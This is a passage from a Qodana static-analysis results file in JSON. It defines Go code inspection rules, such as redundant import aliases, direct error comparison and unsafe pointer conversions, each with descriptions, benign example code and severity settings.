\"Reports aliases of imported packages that may be omitted.\\n\\nUsually, such aliases equal to the names of the imported packages,\\nso aliases have no effect and one can use package names directly.\\n\\nExample:\\n\\n    import fmt \\\"fmt\\\"\\n\\nThe `fmt` alias duplicates the package name that is also named `\\\"fmt\\\"`. To delete the alias,\\nuse the **Delete import alias** quick-fix.\\n\\nAfter the quick-fix is applied:\\n\\n    import \\\"fmt\\\"\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoRedundantImportAlias\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Declaration redundancy\",\n                      \"index\": 5,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoPreferNilSlice\",\n                \"shortDescription\": {\n                  \"text\": \"Empty slice declared using a literal\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports slice declarations with empty literal initializers used instead of 'nil'. An empty slice can be represented by 'nil' or an empty slice literal. They are functionally equivalent — their 'len' and 'cap' are both zero — but the nil slice is the preferred style. For more information about empty slices, refer to Declaring Empty Slices at github.com/golang. Example: 's := []string{}' To change the declaration, use the Replace with nil slice declaration (changes semantics) quick-fix. After the quick-fix is applied: 'var s []string'\",\n                  \"markdown\": \"Reports slice declarations with empty literal initializers used instead of `nil`.\\n\\nAn empty slice can be represented by `nil` or an empty slice literal. They are functionally equivalent ---\\ntheir `len` and `cap` are both zero --- but the nil slice is the preferred style.\\nFor more information about empty slices, refer to\\n[Declaring Empty Slices at github.com/golang](https://github.com/golang/go/wiki/CodeReviewComments#declaring-empty-slices).\\n\\nExample:\\n\\n    s := []string{}\\n\\nTo change the declaration, use the **Replace with nil slice declaration (changes semantics)** quick-fix.\\nAfter the quick-fix is applied:\\n\\n    var s []string\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoPreferNilSlice\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Declaration redundancy\",\n                      \"index\": 5,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoDirectComparisonOfErrors\",\n                \"shortDescription\": {\n                  \"text\": \"Direct comparison of errors\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports direct comparison of errors, for example, using '==', and suggests using 'errors.Is' instead. Since Go 1.13, errors can be wrapped using the 'fmt.Errorf' function with the '%w' verb. Therefore, direct comparison of errors using the equality check fails on wrapped errors. The preferred way of checking for a specific error is to use the errors.Is function from the standard library as this function traverses the chain of the wrapped errors while checking for a specific error. For more information about 'errors.Is', refer to working with Errors in Go 1.13. The quick-fix replaces direct comparison of errors with a call to 'errors.Is'. Example: 'if err == MyError {\\n  fmt.Println(\\\"MyErr\\\")\\n}' After the quick fix is applied: 'if errors.Is(err, MyError) {\\n  fmt.Println(\\\"MyErr\\\")\\n}'\",\n                  \"markdown\": \"Reports direct comparison of errors, for example, using `==`, and suggests using `errors.Is` instead.\\n\\nSince Go 1.13, errors can be wrapped using the `fmt.Errorf` function with the `%w` verb. Therefore, direct comparison of\\nerrors using the equality check fails on wrapped errors. The preferred way of checking for a specific error\\nis to use the [errors.Is](https://pkg.go.dev/errors#Is) function from the standard library as this function traverses the chain of the wrapped errors while checking for a specific error.\\n\\nFor more information about `errors.Is`, refer to [working with Errors in Go 1.13](https://go.dev/blog/go1.13-errors).\\n\\nThe quick-fix replaces direct comparison of errors with a call to `errors.Is`.\\n\\n**Example:**\\n\\n\\n    if err == MyError {\\n      fmt.Println(\\\"MyErr\\\")\\n    }\\n\\nAfter the quick fix is applied:\\n\\n\\n    if errors.Is(err, MyError) {\\n      fmt.Println(\\\"MyErr\\\")\\n    }\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoDirectComparisonOfErrors\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Probable bugs\",\n                      \"index\": 4,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoVetIntToStringConversion\",\n                \"shortDescription\": {\n                  \"text\": \"Integer to string type conversion\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports conversions of 'string(x)'-alike expressions where 'x' is an integer but not byte or rune. Such conversions are discouraged because they return the UTF-8 representation of the Unicode code point 'x', and not a decimal string representation of 'x' as one might expect. Furthermore, if 'x' denotes an invalid code point, the conversion cannot be statically rejected. For conversions that intend on using the code point, consider replacing them with 'string(rune(x))'. Otherwise, 'strconv.Itoa' and its equivalents return the string representation of the value in the desired base. Example: 'func main() {\\n a := 1\\n _ = string(a)\\n}' After the Convert integer to rune quick-fix is applied: 'func main() {\\n a := 1\\n _ = string(rune(a))\\n}'\",\n                  \"markdown\": \"Reports conversions of `string(x)`-alike expressions where `x` is an integer but not byte or rune.\\n\\nSuch conversions are discouraged because they return the UTF-8 representation\\nof the Unicode code point `x`, and not a decimal string representation\\nof `x` as one might expect. Furthermore, if `x` denotes\\nan invalid code point, the conversion cannot be statically rejected.\\n\\nFor conversions that intend on using the code point, consider replacing them\\nwith `string(rune(x))`. Otherwise, `strconv.Itoa`\\nand its equivalents return the string representation of the value in the desired\\nbase.\\n\\nExample:\\n\\n    func main() {\\n     a := 1\\n     _ = string(a)\\n    }\\n\\nAfter the **Convert integer to rune** quick-fix is applied:\\n\\n    func main() {\\n     a := 1\\n     _ = string(rune(a))\\n    }\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoVetIntToStringConversion\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Probable bugs\",\n                      \"index\": 4,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoSnakeCaseUsage\",\n                \"shortDescription\": {\n                  \"text\": \"Usage of Snake_Case\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports usage of snake case instead of camelcase for naming variables, constants and functions. According to MixedCaps at go.dev, camelcase is a convention in Go. Example: 'func get_external_IP() (string, error) {}' The 'get_external_IP' is in snake case but should be in camelcase. You can apply a quick-fix to convert the function name to 'getExternalIp'.\",\n                  \"markdown\": \"Reports usage of snake case instead of camelcase for naming variables, constants and functions. According to [MixedCaps at go.dev](https://go.dev/doc/effective_go#mixed-caps), camelcase is a convention in Go.\\n\\nExample:\\n\\n    func get_external_IP() (string, error) {}\\n\\nThe `get_external_IP` is in snake case but should be in camelcase. You can apply a quick-fix to convert the function name to\\n`getExternalIp`.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoSnakeCaseUsage\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Code style issues\",\n                      \"index\": 31,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoRedundantComma\",\n                \"shortDescription\": {\n                  \"text\": \"Redundant comma\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports commas that may be omitted in the end of argument lists and composite literals. The IDE suggests removing commas that are considered optional. Removing these commas might improve code readability. Example: 's := []int{1, 2,} // the last comma may be omitted'\",\n                  \"markdown\": \"Reports commas that may be omitted in the end of argument lists and composite literals.\\n\\nThe IDE suggests removing commas that are considered optional. Removing these commas might improve\\ncode readability.\\n\\nExample:\\n\\n    s := []int{1, 2,} // the last comma may be omitted\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoRedundantComma\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Declaration redundancy\",\n                      \"index\": 5,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoRedundantSemicolon\",\n                \"shortDescription\": {\n                  \"text\": \"Redundant semicolon\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports redundant semicolons. Idiomatic Go programs have semicolons only in places such as 'for' loop clauses, to separate the initializer, condition, and continuation elements. They are also necessary to separate multiple statements on a line. In other cases, you can omit them. For more information about semicolons in Go, refer to Semicolons at go.dev. Example: 'i := 1;'\",\n                  \"markdown\": \"Reports redundant semicolons. Idiomatic Go programs have semicolons only in places such as `for` loop clauses, to separate the initializer, condition, and continuation elements. They are also necessary to separate multiple statements on a line. In other cases, you can omit them.\\n\\nFor more information about semicolons in Go, refer to [Semicolons at go.dev](https://go.dev/doc/effective_go#semicolons).\\n\\nExample:\\n\\n    i := 1;\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoRedundantSemicolon\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Declaration redundancy\",\n                      \"index\": 5,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoRedundantSecondIndexInSlices\",\n                \"shortDescription\": {\n                  \"text\": \"Redundant second index in slices\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a redundant second index (a high bound) in slice expressions. Usually, the second index is optional. If you remove it, you might improve code readability. Example: 'var a []int\\na = a[0:len(a)] // `a[0:len(a)]` is the same as `a[0:]`'\\n You can apply the Remove redundant index quick-fix to such cases. After the quick-fix is applied, this code looks as follows: 'var a []int\\na = a[0:]'\",\n                  \"markdown\": \"Reports a redundant second index (a high bound) in slice expressions.\\n\\nUsually, the second index is optional. If you remove it, you might improve code readability.\\n\\nExample:\\n\\n    var a []int\\n    a = a[0:len(a)] // `a[0:len(a)]` is the same as `a[0:]`\\n\\nYou can apply the **Remove redundant index** quick-fix to such cases. After the quick-fix is applied, this\\ncode looks as follows:\\n\\n    var a []int\\n    a = a[0:]\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoRedundantSecondIndexInSlices\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Declaration redundancy\",\n                      \"index\": 5,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoImportUsedAsName\",\n                \"shortDescription\": {\n                  \"text\": \"Imported package name as a name identifier\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports declarations of variables, arguments or functions that overlap with the used import. While legal, such declarations will make using the package exported identifiers impossible after the declaration or create confusion when reading the code. Example: 'import \\\"fmt\\\"\\nimport _ \\\"fmt\\\"\\nimport iio \\\"io\\\"\\n\\nfunc _() {\\n fmt.Println(\\\"demo\\\")\\n demo := true\\n _, _ = iio.EOF, demo\\n}\\n\\nfunc demo() (int, int) {\\n return 1, 2\\n}\\n\\nfunc _() {\\n _, _ = iio.EOF, demo\\n fmt := \\\"demo\\\"\\n iio := 1\\n _, _ = iio, fmt\\n a, _ := demo()\\n _ = a\\n}' Variable names 'fmt' and 'iio' clash with names of import packages. Not to confuse them later in code, it is better to rename these variables.\",\n                  \"markdown\": \"Reports declarations of variables, arguments or functions that overlap with the used import.\\n\\nWhile legal, such declarations will make using the package exported identifiers impossible after the declaration or create\\nconfusion when reading the code.\\n\\nExample:\\n\\n    import \\\"fmt\\\"\\n    import _ \\\"fmt\\\"\\n    import iio \\\"io\\\"\\n\\n    func _() {\\n     fmt.Println(\\\"demo\\\")\\n     demo := true\\n     _, _ = iio.EOF, demo\\n    }\\n\\n    func demo() (int, int) {\\n     return 1, 2\\n    }\\n\\n    func _() {\\n     _, _ = iio.EOF, demo\\n     fmt := \\\"demo\\\"\\n     iio := 1\\n     _, _ = iio, fmt\\n     a, _ := demo()\\n     _ = a\\n    }\\n\\nVariable names `fmt` and `iio` clash with names of import packages. Not to confuse them later in code, it is better\\nto rename these variables.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoImportUsedAsName\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Probable bugs\",\n                      \"index\": 4,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoUnitSpecificDurationSuffix\",\n                \"shortDescription\": {\n                  \"text\": \"Unit-specific suffix for 'time.Duration'\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports unit-specific suffixes in constant and variable names of 'time.Duration' type. The inspection comes from 'go lint'. A list of suffixes that imply a time unit is available in the golang repository at github.com. 'time.Duration' represents a value in nanoseconds, so adding a time unit suffix might make the meaning of the variable confusing, or even indicate a misuse of the 'time.Duration' API. Example: 'var timeoutSeconds = 5 * time.Second'\",\n                  \"markdown\": \"Reports unit-specific suffixes in constant and variable names of `time.Duration` type.\\n\\nThe inspection comes from `go lint`. A list of suffixes that imply a time unit is available\\nin [the golang repository at\\ngithub.com](https://github.com/golang/lint/blob/c5fb716d6688a859aae56d26d3e6070808df29f7/lint.go#L1365-L1373).\\n\\n`time.Duration` represents a value in nanoseconds, so adding a time unit suffix\\nmight make the meaning of the variable confusing, or even indicate a misuse of the `time.Duration` API.\\n\\nExample:\\n\\n    var timeoutSeconds = 5 * time.Second\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoUnitSpecificDurationSuffix\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Code style issues\",\n                      \"index\": 31,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoUnusedExportedType\",\n                \"shortDescription\": {\n                  \"text\": \"Unused exported type\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports unused exported types in the 'main' package and in tests. For more information about exported identifiers, refer to Exported identifiers at go.dev. 'type User struct {}\\n\\nfunc main() {}' The 'User' struct type is declared but never used in the code. This type will be grayed out.\",\n                  \"markdown\": \"Reports unused exported types in the `main` package and in tests. For more information about exported identifiers, refer to [Exported identifiers at go.dev](https://go.dev/ref/spec#Exported_identifiers).\\n\\n    type User struct {}\\n\\n    func main() {}\\n\\nThe `User` struct type is declared but never used in the code. This type will be grayed out.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoUnusedExportedType\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Declaration redundancy\",\n                      \"index\": 5,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoDeprecation\",\n                \"shortDescription\": {\n                  \"text\": \"Deprecated element\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports usages of deprecated elements. Example: '// Deprecated: Use io.SeekStart, io.SeekCurrent, and io.SeekEnd.\\nconst (\\n SEEK_SET int = 0 // seek relative to the origin of the file\\n SEEK_CUR int = 1 // seek relative to the current offset\\n SEEK_END int = 2 // seek relative to the end\\n)' According to Constants at go.dev, 'SEEK_SET', 'SEEK_CUR', and 'SEEK_END' are deprecated.\",\n                  \"markdown\": \"Reports usages of deprecated elements.\\n\\nExample:\\n\\n    // Deprecated: Use io.SeekStart, io.SeekCurrent, and io.SeekEnd.\\n    const (\\n     SEEK_SET int = 0 // seek relative to the origin of the file\\n     SEEK_CUR int = 1 // seek relative to the current offset\\n     SEEK_END int = 2 // seek relative to the end\\n    )\\n\\nAccording to [Constants at go.dev](https://pkg.go.dev/os#pkg-constants), `SEEK_SET`, `SEEK_CUR`,\\nand `SEEK_END` are deprecated.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoDeprecation\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/General\",\n                      \"index\": 38,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoNilness\",\n                \"shortDescription\": {\n                  \"text\": \"Nilness analyzer\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports problems caused by incorrect usage of the 'nil' value. The IDE analyses data flow to determine if variables could have 'nil' or not 'nil' values. Based on this, the IDE reports potential issues in code. Consider the following list of situations that might lead to unintended consequences: Method calls with the 'nil' receiver might lead to 'nil pointer dereference'. The 'nil' slice indexing might cause panics. Comparisons like 'v == nil' might be meaningless if 'v' is known to be always 'nil' or not 'nil'. Variables with corresponding errors are not checked on not to be 'nil'. An error corresponds to a variable when they are defined or assigned together in statements like 'v, err := foo()'.\",\n                  \"markdown\": \"Reports problems caused by incorrect usage of the `nil` value.\\n\\nThe IDE analyses data flow to determine if variables could have `nil` or not `nil` values.\\nBased on this, the IDE reports potential issues in code. Consider the following list of situations that might lead to unintended\\nconsequences:\\n\\n* Method calls with the `nil` receiver might lead to 'nil pointer dereference'.\\n* The `nil` slice indexing might cause panics.\\n* Comparisons like `v == nil` might be meaningless if `v` is known to be always `nil` or not `nil`.\\n* Variables with corresponding errors are not checked on not to be `nil`. An error corresponds to a variable when they are defined or assigned together in statements like `v, err := foo()`.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoNilness\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Probable bugs\",\n                      \"index\": 4,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoVarAndConstTypeMayBeOmitted\",\n                \"shortDescription\": {\n                  \"text\": \"Type can be omitted\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports types in variable and constant declarations that can be omitted since they can be inferred by the compiler. Such types are redundant, omitting them may improve readability of the code. Example: 'var s string = fmt.Sprintln(\\\"hi\\\")' The 'string' type in the variable declaration may be omitted. To remove the type, use the Delete type quick-fix. After the quick-fix is applied: 'var s = fmt.Sprintln(\\\"hi\\\")'\",\n                  \"markdown\": \"Reports types in variable and constant declarations that can be omitted since they can be inferred by the compiler. Such types are redundant, omitting them may improve readability of the code.\\n\\nExample:\\n\\n    var s string = fmt.Sprintln(\\\"hi\\\")\\n\\nThe `string` type in the variable declaration may be omitted. To remove the type, use the **Delete type** quick-fix.\\nAfter the quick-fix is applied:\\n\\n    var s = fmt.Sprintln(\\\"hi\\\")\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoVarAndConstTypeMayBeOmitted\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Declaration redundancy\",\n                      \"index\": 5,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoPrintFunctions\",\n                \"shortDescription\": {\n                  \"text\": \"Incorrect usage of 'fmt.Printf' and 'fmt.Println' functions\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports incorrect usages of 'fmt.Printf', 'fmt.Println', and similar formatting and printing functions. In their format strings, formatting functions use formatting verbs, like '%s', '%d', '%v', and others. If formatting verbs are used incorrectly, the result of a formatting function will contain an error. For more information about formatting verbs, refer to Package fmt at go.dev. Example: 'fmt.Printf(\\\"id: %s\\\", 42)' The output of this function is 'id: %!s(int=42)'. It might be not what you really want. The following function uses the '%d' formatting verb. The output with the '%d' formatting verb will be 'id: 42'. 'fmt.Printf(\\\"id: %d\\\", 42)'\",\n                  \"markdown\": \"Reports incorrect usages of `fmt.Printf`, `fmt.Println`, and similar formatting and printing functions.\\n\\nIn their format strings, formatting functions use formatting verbs, like `%s`, `%d`, `%v`, and others.\\nIf formatting verbs are used incorrectly, the result of a formatting function will contain an error.\\nFor more information about formatting verbs, refer to [Package fmt at go.dev](https://pkg.go.dev/fmt).\\n\\nExample:\\n\\n    fmt.Printf(\\\"id: %s\\\", 42)\\n\\nThe output of this function is `id: %!s(int=42)`. It might be not what you really want.\\nThe following function uses the `%d` formatting verb.\\nThe output with the `%d` formatting verb will be `id: 42`.\\n\\n    fmt.Printf(\\\"id: %d\\\", 42)\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoPrintFunctions\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Probable bugs\",\n                      \"index\": 4,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoDeferGo\",\n                \"shortDescription\": {\n                  \"text\": \"Defer/go statement calls 'recover' or 'panic' directly\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports 'defer' and 'go' statements that call 'panic()' or 'recover()' directly. Such statements are rarely useful and might indicate a misuse of the 'panic()' and 'recover()' mechanism. In particular: 'go panic()': a newly-started goroutine will panic immediately. 'defer panic()': a function with this statement will always panic on exit. 'go recover()': has no effect as newly-started goroutine cannot panic. 'defer recover()': function with this statement will silently stop panicking. This could be a valid usage, but an idiomatic way is to inspect the value returned by 'recover()': 'defer func() {\\n  if r := recover(); r != nil {\\n    fmt.Println(\\\"Recovered from: \\\", r)\\n  }\\n}()' For more information about go statements and panics handling, refer to Handling panics and Go statements in the Go Language Specification.\",\n                  \"markdown\": \"Reports `defer` and `go` statements that call `panic()` or `recover()` directly.\\n\\nSuch statements are rarely useful and might indicate a misuse of the `panic()` and `recover()` mechanism.\\nIn particular:\\n\\n* `go panic()`: a newly-started goroutine will panic immediately.\\n* `defer panic()`: a function with this statement will always panic on exit.\\n* `go recover()`: has no effect as newly-started goroutine cannot panic.\\n* `defer recover()`: function with this statement will silently stop panicking. This could be a valid usage, but an idiomatic way is to inspect the value returned by `recover()`:\\n\\n      defer func() {\\n        if r := recover(); r != nil {\\n          fmt.Println(\\\"Recovered from: \\\", r)\\n        }\\n      }()\\n\\nFor more information about go statements and panics handling, refer to [Handling\\npanics](https://go.dev/ref/spec#Handling_panics) and\\n[Go statements](https://go.dev/ref/spec#Go_statements) in the Go Language Specification.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoDeferGo\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Probable bugs\",\n                      \"index\": 4,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoVetUnsafePointer\",\n                \"shortDescription\": {\n                  \"text\": \"Invalid conversions of 'uintptr' to 'unsafe.Pointer'\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports possibly incorrect conversions of 'uintptr' to 'unsafe.Pointer'. A conversion from 'uintptr' to 'unsafe.Pointer' is invalid if it implies that there is a 'uintptr'-typed word in memory that holds a pointer value, because that word will be invisible to stack copying and to the garbage collector. Example of invalid usage: 'nums := []int8{42, 24}\\nptr := unsafe.Pointer(&nums[0])\\naddr := uintptr(ptr) // address is stored to a local variable\\nptr = unsafe.Pointer(addr + uintptr(1))' Example of valid usage: 'nums := []int8{42, 24}\\nptr := unsafe.Pointer(&nums[0])\\nptr = unsafe.Pointer(uintptr(ptr) + uintptr(1))'\",\n                  \"markdown\": \"Reports possibly incorrect conversions of `uintptr` to `unsafe.Pointer`.\\n\\nA conversion from\\n`uintptr` to `unsafe.Pointer` is invalid if it implies that there is a `uintptr`-typed word\\nin memory that holds a pointer value, because that word will be invisible to stack copying and to the garbage collector.\\n\\nExample of invalid usage:\\n\\n    nums := []int8{42, 24}\\n    ptr := unsafe.Pointer(&nums[0])\\n    addr := uintptr(ptr) // address is stored to a local variable\\n    ptr = unsafe.Pointer(addr + uintptr(1))\\n\\nExample of valid usage:\\n\\n    nums := []int8{42, 24}\\n    ptr := unsafe.Pointer(&nums[0])\\n    ptr = unsafe.Pointer(uintptr(ptr) + uintptr(1))\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoVetUnsafePointer\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Probable bugs\",\n                      \"index\": 4,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoReceiverNames\",\n                \"shortDescription\": {\n                  \"text\": \"Receiver has a generic name\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports receiver names like 'me', 'this', 'self', or names that differ from other receiver names for this type. Example: 'func (self *MeterSnapshot) Rate5() float64 { return math.Float64frombits(self.rate5) }' According to Receiver Names at github.com/golang, you should not use generic names such as \\\"me\\\", \\\"this\\\", or \\\"self\\\". These identifiers are typical for object-oriented languages and might give the method a special meaning.\",\n                  \"markdown\": \"Reports receiver names like `me`, `this`, `self`, or names that differ from other receiver names for this type.\\n\\nExample:\\n\\n    func (self *MeterSnapshot) Rate5() float64 { return math.Float64frombits(self.rate5) }\\n\\nAccording to [Receiver Names at github.com/golang](https://github.com/golang/go/wiki/CodeReviewComments#receiver-names),\\nyou should not use generic names such as \\\"me\\\", \\\"this\\\", or \\\"self\\\". These identifiers are typical for object-oriented languages and might\\ngive the method a special meaning.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoReceiverNames\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Code style issues\",\n                      \"index\": 31,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      